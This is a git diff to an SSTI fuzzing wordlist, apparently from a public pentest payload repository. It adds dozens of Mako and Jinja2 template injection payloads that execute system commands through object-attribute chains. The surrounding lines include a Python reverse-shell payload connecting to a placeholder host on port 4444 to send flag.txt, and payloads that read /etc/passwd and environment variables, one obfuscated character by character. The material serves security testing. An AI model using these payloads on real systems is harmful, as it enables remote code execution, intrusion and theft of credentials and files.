diff --git a/Server Side Template Injection/Intruder/ssti.fuzz b/Server Side Template Injection/Intruder/ssti.fuzz index ced385b..97f5356 100644 --- a/Server Side Template Injection/Intruder/ssti.fuzz +++ b/Server Side Template Injection/Intruder/ssti.fuzz @@ -46,4 +46,63 @@ ${"freemarker.template.utility.Execute"?new()("id")} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} ${T(java.lang.System).getenv()} ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} -${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} \ No newline at end of file +${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}${self.module.cache.util.os.system("id")} +${self.module.runtime.util.os.system("id")} +${self.template.module.cache.util.os.system("id")} +${self.module.cache.compat.inspect.os.system("id")} +${self.__init__.__globals__['util'].os.system('id')} +${self.template.module.runtime.util.os.system("id")} +${self.module.filters.compat.inspect.os.system("id")} +${self.module.runtime.compat.inspect.os.system("id")} +${self.module.runtime.exceptions.util.os.system("id")} +${self.template.__init__.__globals__['os'].system('id')} +${self.module.cache.util.compat.inspect.os.system("id")} +${self.module.runtime.util.compat.inspect.os.system("id")} +${self.template._mmarker.module.cache.util.os.system("id")} +${self.template.module.cache.compat.inspect.os.system("id")} +${self.module.cache.compat.inspect.linecache.os.system("id")} +${self.template._mmarker.module.runtime.util.os.system("id")} +${self.attr._NSAttr__parent.module.cache.util.os.system("id")} +${self.template.module.filters.compat.inspect.os.system("id")} +${self.template.module.runtime.compat.inspect.os.system("id")} +${self.module.filters.compat.inspect.linecache.os.system("id")} +${self.module.runtime.compat.inspect.linecache.os.system("id")} +${self.template.module.runtime.exceptions.util.os.system("id")} +${self.attr._NSAttr__parent.module.runtime.util.os.system("id")} +${self.context._with_template.module.cache.util.os.system("id")} +${self.module.runtime.exceptions.compat.inspect.os.system("id")} +${self.template.module.cache.util.compat.inspect.os.system("id")} +${self.context._with_template.module.runtime.util.os.system("id")} +${self.module.cache.util.compat.inspect.linecache.os.system("id")} +${self.template.module.runtime.util.compat.inspect.os.system("id")} +${self.module.runtime.util.compat.inspect.linecache.os.system("id")} +${self.module.runtime.exceptions.traceback.linecache.os.system("id")} +${self.module.runtime.exceptions.util.compat.inspect.os.system("id")} +${self.template._mmarker.module.cache.compat.inspect.os.system("id")} +${self.template.module.cache.compat.inspect.linecache.os.system("id")} +${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")} +${self.template._mmarker.module.filters.compat.inspect.os.system("id")} +${self.template._mmarker.module.runtime.compat.inspect.os.system("id")} +${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")} +${self.template._mmarker.module.runtime.exceptions.util.os.system("id")} +${self.template.module.filters.compat.inspect.linecache.os.system("id")} +${self.template.module.runtime.compat.inspect.linecache.os.system("id")} +${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")} +${self.context._with_template._mmarker.module.cache.util.os.system("id")} +${self.template.module.runtime.exceptions.compat.inspect.os.system("id")} +${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")} +${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")} +${self.context._with_template.module.cache.compat.inspect.os.system("id")} +${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")} +${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")} +${self.context._with_template._mmarker.module.runtime.util.os.system("id")} +${self.context._with_template.module.filters.compat.inspect.os.system("id")} +${self.context._with_template.module.runtime.compat.inspect.os.system("id")} +${self.context._with_template.module.runtime.exceptions.util.os.system("id")} +${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")} +{{self._TemplateReference__context.cycler.__init__.__globals__.os}} +{{self._TemplateReference__context.joiner.__init__.__globals__.os}} +{{self._TemplateReference__context.namespace.__init__.__globals__.os}} +{{cycler.__init__.__globals__.os}} +{{joiner.__init__.__globals__.os}} +{{namespace.__init__.__globals__.os}}